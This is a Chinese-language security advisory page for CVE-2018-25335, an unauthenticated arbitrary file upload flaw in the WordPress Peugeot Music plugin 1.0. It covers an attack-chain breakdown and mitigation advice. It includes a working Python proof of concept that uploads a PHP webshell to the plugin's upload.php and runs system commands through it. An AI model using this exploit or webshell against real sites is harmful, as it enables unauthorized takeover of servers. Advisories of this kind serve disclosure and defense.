IPBUF安全漏洞报告
English
CVE-2018-25335 CVSS 9.8 严重

CVE-2018-25335 Peugeot Music插件任意文件上传漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2018-25335
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Plugin Peugeot Music

相关标签

WordPress文件上传RCEPeugeot MusicCVE-2018-25335

漏洞概述

WordPress Peugeot Music 插件 1.0 版本存在严重的任意文件上传漏洞。由于该插件在处理文件上传时缺乏严格的权限校验和过滤机制,未经身份验证的远程攻击者可以通过向 `upload.php` 端点发送特制的 POST 请求,利用 `name` 参数绕过扩展名限制,上传包含恶意代码的任意文件。成功利用此漏洞可导致攻击者在服务器上执行任意代码,完全控制受影响的网站。

技术细节

该漏洞源于 Peugeot Music 插件的 `upload.php` 文件未对上传请求进行有效的身份验证,且未对上传文件的类型和扩展名进行严格的安全检查。攻击者无需登录后台,即可直接访问上传接口。在利用过程中,攻击者构造 HTTP POST 请求,将恶意脚本(如 PHP Webshell)作为文件内容。关键在于通过篡改数据包中的 `name` 参数或相关字段,将文件扩展名伪装为可执行的脚本格式(如 `.php`),从而绕过客户端或服务器端的简单验证。文件一旦被上传至服务器可访问的目录(如 uploads 目录),攻击者即可通过浏览器直接访问该文件,触发服务器端解析并执行恶意代码,进而获取服务器权限。

攻击链分析

STEP 1
侦察
攻击者识别目标网站正在使用 WordPress,并检测到安装了 Peugeot Music 1.0 插件。
STEP 2
漏洞利用
攻击者构造恶意的 HTTP POST 请求发送至 `/wp-content/plugins/peugeot-music/upload.php`,在请求中包含 PHP 一句话木马,并利用 'name' 参数将文件名指定为 .php 后缀。
STEP 3
代码执行
文件被上传至服务器的 uploads 目录。攻击者直接通过浏览器访问该文件的 URL,触发服务器解析 PHP 代码,从而执行系统命令。
STEP 4
权限维持
攻击者利用获取的权限进一步植入后门,或进行横向移动,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/wp-content/plugins/peugeot-music/upload.php" shell_url = "http://example.com/wp-content/uploads/shell.php" # Malicious file content (PHP webshell) php_code = "<?php system($_GET['cmd']); ?>" # Prepare the files and data for the upload request # The vulnerability allows bypassing extension checks via the 'name' parameter files = { 'file': ('shell.php', php_code, 'application/octet-stream') } data = { 'name': 'shell.php' # Critical parameter to control the uploaded filename } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Attempt to execute the uploaded shell verify = requests.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"[+] Code execution successful! Output: {verify.text}") else: print("[-] Upload likely succeeded, but execution failed.") else: print(f"[-] Upload failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Peugeot Music 1.0

防御指南

临时缓解措施
建议立即检查并禁用 Peugeot Music 插件。若无法卸载,应在 Web 服务器层面配置严格的目录访问控制,禁用上传目录的脚本执行权限,并部署 Web 应用防火墙(WAF)拦截针对 upload.php 的恶意文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表